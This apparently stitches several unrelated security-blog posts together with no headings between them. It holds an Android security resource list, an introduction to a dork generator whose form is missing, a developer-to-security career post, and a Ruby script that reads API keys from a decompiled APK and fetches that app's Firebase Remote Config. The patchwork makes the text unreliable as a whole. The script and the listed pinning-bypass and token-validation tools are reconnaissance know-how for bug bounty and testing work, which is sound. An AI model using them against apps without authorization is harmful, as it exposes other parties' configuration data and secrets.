• Bug Bounty Hunting Tips #2 —Target their mobile apps (Android Edition)
• Quarkslab’s “diffing” blog posts (They have an unreleased android diffing engine, we can’t use it but the next best thing is reading about it!)
• Configuring Burp Suite With Android Nougat
• Universal XSS in Android WebView (CVE-2020-6506)
• Samsung Find My Mobile vulnerability
• OWASP Mobile Security Testing Guide
• r2-pay challenge write-up (part 1 (anti-debug, anti-root & anti-frida), part 2 (whitebox))
• Security of mobile OAuth 2.0
• Proxying Android app traffic – Common issues / checklist

Social media accounts

Telegram

• fs0c131y
• Android Security & Malware

Twitter

• maddiestone
• mobilesecurity_
• fs0c131y
• reyammer
• LibraAnalysis
• B3nac
• maldr0id
• _bagipro

Courses

• MOBISEC
• Android App Reverse Engineering 101 by Maddie Stone

Tools

• AERoot - AERoot is a command line tool that allows you to give the root privileges on-the-fly to any process running on the Android emulator with Google Play flavors AVDs
• Mobile Security Framework (MobSF)
• Frida
  • Bypass Certificate Pinning
  • Frida Cheatsheet and Code Snippets for Android
  • Intercepting traffic from Android Flutter applications
• Drozer
  • Getting started guide
• Jalangi2
• KeyHacks - Instructions to validate that leaked tokens are valid
• NotKeyHacks - List of tokens that aren’t sensitive even though they might appear to be

Here’s a simple form that will automatically generate the search links. Now all you have to do is open a bunch of tabs and sift through the information! The dorks themselves are from a list I have accumulated over time, sorry if I can’t credit the people I got them from.

The “app” is available on this blog page and at https://blog.deesee.xyz/dorks. I will update this over time with dorks that search for error messages and common info disclosures. If you have any ideas feel free to open an issue or a PR.

Query:

Feel free to open an issue or an MR if you want anything added to the list!

The uniform at your next job

Note: My new job is still very much related to code, it’s just that I review it instead of writing it. Your mileage may vary if you’re looking for a pentester job.

Some context about me

• I’m in my early 30s
• I write code for fun, play hacking games and have been an enthusiast of this whole field since the early 2000s
• I write code as a job since 2012
• I have a Computer Science degree (I don’t know if it mattered to get my job, I suppose at this point my experience was more important?)
• I have no certifications

Relevant experience

If you’re a senior developer/software engineer/whatever-you-call-it you probably don’t want to move to a junior role in your new career. The good news is that you don’t have to! It’s possible to build relevant experience while you’re doing your developer work. Here are the things that helped me.

Be the security person at your job

This might be harder in larger companies, but I worked in small-ish teams that had no dedicated security department. This is a great opportunity for you, the security-minded developer, to take on some security-related projects and have some real-world professional experience to talk about in your interviews.

Practice (CTF, Wargames, Bug Bounties)

How you do it doesn’t really matter, but get your hands dirty and practice some hacking. It will help you stay on top of what’s new in the security world and make you a better (more aware) developer too so it’s a win-win situation.

Learn how to defend

If you’re going to join a company’s security department you’re most likely going to need to know how to defend against the vulnerabilities, exploiting them is not enough. For web applications, taking the time to learn how to mitigate the OWASP Top 10 would be important. The toughest interview questions (at least for the type of role I was interested in) will often revolve around how to protect againt vulnerabilities and not how to attack them. Hopefully if you are a security-minded developer you were already doing this anyway!

Get involved in the community

Talking to people, sharing stories and helping each other is a great way to make friends and have fun but also to consolidate your knowledge. Chatting about your favorite CTF levels, writing a report about the great bug you found or explaining the basics to a newcomer will all help you have a firmer grasp on what you’re talking about. Go to conferences (a small, local one organized by a few enthusiasts is perfect, no need to go to defcon), join a security slack/discord/whatever channel, discuss on reddit, anything!

Conclusion

If you’ve made it here and you’ve been doing all of this already I believe that the takeaway is that you’re probably ready to make that move already so stop reading blogs and just go for it and apply for that infosec job. :)

Good luck!

What you’ll need:

• Google API key
• Google app ID
• Google project ID

Luckily all these things available in the strings.xml file of a decompiled APK. Here’s a Ruby script that recovers the values from a strings.xml file and gets the Firebase Remote Config data.

require 'nokogiri'
require 'httparty'
require 'json'

def get_string_value(xml, setting_name)
  value = xml.xpath("/resources/string[@name='#{setting_name}']").first
  unless value.nil? || value.content.empty?
    puts "[+] Found value for '#{setting_name}': #{value.content}'"
    value.content
  end
end

strings_path = "resources/res/values/strings.xml" # You'll likely want to take this path as a parameter
if File.exist?(strings_path)
  xml = File.open(strings_path) { |f| Nokogiri::XML(f) }
  google_api_key = get_string_value(xml, 'google_api_key')
  google_app_id = get_string_value(xml, 'google_app_id')
  unless google_app_id.nil?
    project_id = google_app_id.split(':')[1]
    puts '[*] Recovering Firebase Remote Config'
    response = HTTParty.post("https://firebaseremoteconfig.googleapis.com/v1/projects/#{project_id}/namespaces/firebase:fetch?key=#{google_api_key}",
                             body: JSON.generate(appId: google_app_id, appInstanceId: 'required_but_unused_value'),
                             headers: { 'Content-Type' => 'application/json' })

    puts response.body
  end
end

If the app doesn’t have the necessary config information or if the response from the HTTP request is

{
  "state": "NO_TEMPLATE"
}

then it doesn’t use Firebase Remote Config.

Finally, a response with data will look like this:

{
  "entries": {
    "key1": "value1",
    "key2": "value2",
    "...": "..."
  },
  "state": "UPDATE"
}

There you go! Nothing major but easy enough to include in your automation and Android recon.